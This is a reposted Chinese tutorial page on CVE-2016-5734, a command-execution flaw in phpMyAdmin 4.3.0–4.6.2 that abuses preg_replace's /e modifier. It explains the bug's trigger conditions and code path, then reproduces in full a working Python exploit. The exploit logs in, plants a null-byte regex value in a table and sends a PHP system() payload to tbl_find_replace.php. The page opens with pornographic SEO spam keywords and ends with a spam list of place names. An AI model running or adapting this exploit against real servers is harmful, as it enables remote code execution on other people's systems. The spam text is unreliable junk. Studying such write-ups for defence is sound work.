国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > PHP > 正文

php preg_replace引發的phpmyadmin(4.3.0-4.6.2)命令執行漏洞

2024-05-04 21:50:22
字體:
來源:轉載
供稿:網友

這里拿cve-2016-5734講講preg_replace引發的命令執行漏洞,漏洞在exploit-db上有利用腳本,經過測試沒有問題。這里對這個漏洞進行一下回溯跟蹤來解釋下preg_replace這個正則替換函數帶來的問題。

0x01 漏洞觸發原理:

preg_replace漏洞觸發有兩個前提:

01:第一個參數需要e標識符,有了它可以執行第二個參數的命令

02:第一個參數需要在第三個參數中的中有匹配,不然echo會返回第三個參數而不執行命令,舉個例子:

echo preg_replace('/test/e', 'phpinfo()', 'just test');

這樣是可以執行命令的:

echo preg_replace('/test/e', 'phpinfo()', 'just tesxt');

echo preg_replace('/tesxt/e', 'phpinfo()', 'just test');

這兩種沒有匹配上,所以返回值是第三個參數,不能執行命令.

0x02 觸發漏洞位置回溯:

cve-2016-5734的漏洞問題出現在TableSearch.class.php中的_getRegexReplaceRows函數,讓我們看看這個函數:

phpmyadmin_1

$find ,和 $replaceWith可以看到在preg_replace中被引用,讓我們回溯這兩個變量,在getReplacePreview中有調用_getRegexReplaceRows函數

phpmyadmin_2

繼續回溯,在tbl_find_replace中有調用getReplacePreview,同時參數是post傳入,下面讓我們看看如何利用構造

phpmyadmin_3

0x03 構造利用

漏洞利用思路:這個漏洞目前沒法直接利用,因為有token限制,需要登陸抓到token,同時需要構造第三個參數保證和第一個參數匹配上,第一個參數可控,但是第三個參數是從數據庫中取出的,所以只能提前插入到數據庫中,然后再取出來,columnIndex是取出字段值的可控,所以第三個參數也可控了。

流程大概走了一圈,下面看看怎么構造,首先這個漏洞需要有創建表插入字段權限的賬號,這里直接用的root賬號測試的,先創建個表,然后表中插入個字段值為"0/e"

phpmyadmin_4

  1. #!/usr/bin/env python 
  2.  
  3. # cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit 
  4. # Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7. 
  5. # CVE: CVE-2016-5734 
  6. # Author: https://twitter.com/iamsecurity 
  7. # run: ./cve-2016-5734.py -u root --pwd='' http://localhost/pma -c "system('ls -lua');" 
  8. # https://www.exploit-db.com/exploits/40185/ 
  9.  
  10. import requests 
  11. import argparse 
  12. import sys 
  13.  
  14. __author__ = "@iamsecurity" 
  15.  
  16. if __name__ == '__main__'
  17.     parser = argparse.ArgumentParser() 
  18.     parser.add_argument("url", type=str, help="URL with path to PMA"
  19.     parser.add_argument("-c""--cmd", type=str, help="PHP command(s) to eval()"
  20.     parser.add_argument("-u""--user", required=True, type=str, help="Valid PMA user"
  21.     parser.add_argument("-p""--pwd", required=True, type=str, help="Password for valid PMA user"
  22.     parser.add_argument("-d""--dbs", type=str, help="Existing database at a server"
  23.     parser.add_argument("-T""--table", type=str, help="Custom table name for exploit."
  24.     arguments = parser.parse_args() 
  25.     url_to_pma = arguments.url 
  26.     uname = arguments.user 
  27.     upass = arguments.pwd 
  28.     if arguments.dbs: 
  29.         db = arguments.dbs 
  30.     else
  31.         db = "test" 
  32.     token = False 
  33.     custom_table = False 
  34.     if arguments.table: 
  35.         custom_table = True 
  36.         table = arguments.table 
  37.     else
  38.         table = "prgpwn" 
  39.     if arguments.cmd: 
  40.         payload = arguments.cmd 
  41.     else
  42.         payload = "system('uname -a');" 
  43.  
  44.     size = 32 
  45.     s = requests.Session() 
  46.     # you can manually add proxy support it's very simple ;) 
  47.     # s.proxies = {'http'"127.0.0.1:8080"'https'"127.0.0.1:8080"
  48.     s.verify = False 
  49.     sql = '''CREATE TABLE `{0}` ( 
  50.       `first` varchar(10) CHARACTER SET utf8 NOT NULL 
  51.     ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 
  52.     INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500')); 
  53.     '''.format(table) 
  54.  
  55.     # get_token 
  56.     resp = s.post(url_to_pma + "/?lang=en", dict( 
  57.         pma_username=uname, 
  58.         pma_password=upass 
  59.     )) 
  60.     if resp.status_code is 200: 
  61.         token_place = resp.text.find("token=") + 6 
  62.         token = resp.text[token_place:token_place + 32] 
  63.     if token is False: 
  64.         print("Cannot get valid authorization token."
  65.         sys.exit(1) 
  66.  
  67.     if custom_table is False: 
  68.         data = { 
  69.             "is_js_confirmed""0"
  70.             "db": db, 
  71.             "token": token, 
  72.             "pos""0"
  73.             "sql_query": sql, 
  74.             "sql_delimiter"";"
  75.             "show_query""0"
  76.             "fk_checks""0"
  77.             "SQL""Go"
  78.             "ajax_request""true"
  79.             "ajax_page_request""true"
  80.         } 
  81.         resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies)) 
  82.         if resp.status_code == 200: 
  83.             if "success" in resp.json(): 
  84.                 if resp.json()["success"] is False: 
  85.                     first = resp.json()["error"][resp.json()["error"].find("<code>")+6:] 
  86.                     error = first[:first.find("</code>")] 
  87.                     if "already exists" in error: 
  88.                         print(error) 
  89.                     else
  90.                         print("ERROR: " + error) 
  91.                         sys.exit(1) 
  92.     # build exploit 
  93.     exploit = { 
  94.         "db": db, 
  95.         "table": table, 
  96.         "token": token, 
  97.         "goto""sql.php"
  98.         "find""0/e/0"
  99.         "replaceWith": payload, 
  100.         "columnIndex""0"
  101.         "useRegex""on"
  102.         "submit""Go"
  103.         "ajax_request""true" 
  104.     } 
  105.     resp = s.post( 
  106.         url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies) 
  107.     ) 
  108.     if resp.status_code == 200: 
  109.         result = resp.json()["message"][resp.json()["message"].find("</a>")+8:] 
  110.         if len(result): 
  111.             print("result: " + result) 
  112.             sys.exit(0) 
  113.         print( 
  114.             "Exploit failed!/n" 
  115.             "Try to manually set exploit parameters like --table, --database and --token./n" 
  116.             "Remember that servers with PHP version greater than 5.4.6" 
  117.             " is not exploitable, because of warning about null byte in regexp" 
  118.         ) 
  119.         sys.exit(1) 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 石首市| 长丰县| 澄城县| 裕民县| 邹平县| 长泰县| 宁国市| 扶绥县| 北宁市| 龙陵县| 凉山| 乾安县| 潢川县| 新和县| 民乐县| 江安县| 边坝县| 青川县| 宁安市| 龙里县| 秭归县| 庆阳市| 航空| 黄浦区| 牡丹江市| 梅州市| 老河口市| 旬阳县| 公主岭市| 靖安县| 滦南县| 吉木萨尔县| 和龙市| 新沂市| 普兰县| 安平县| 澄城县| 梁平县| 和静县| 榕江县| 巩留县|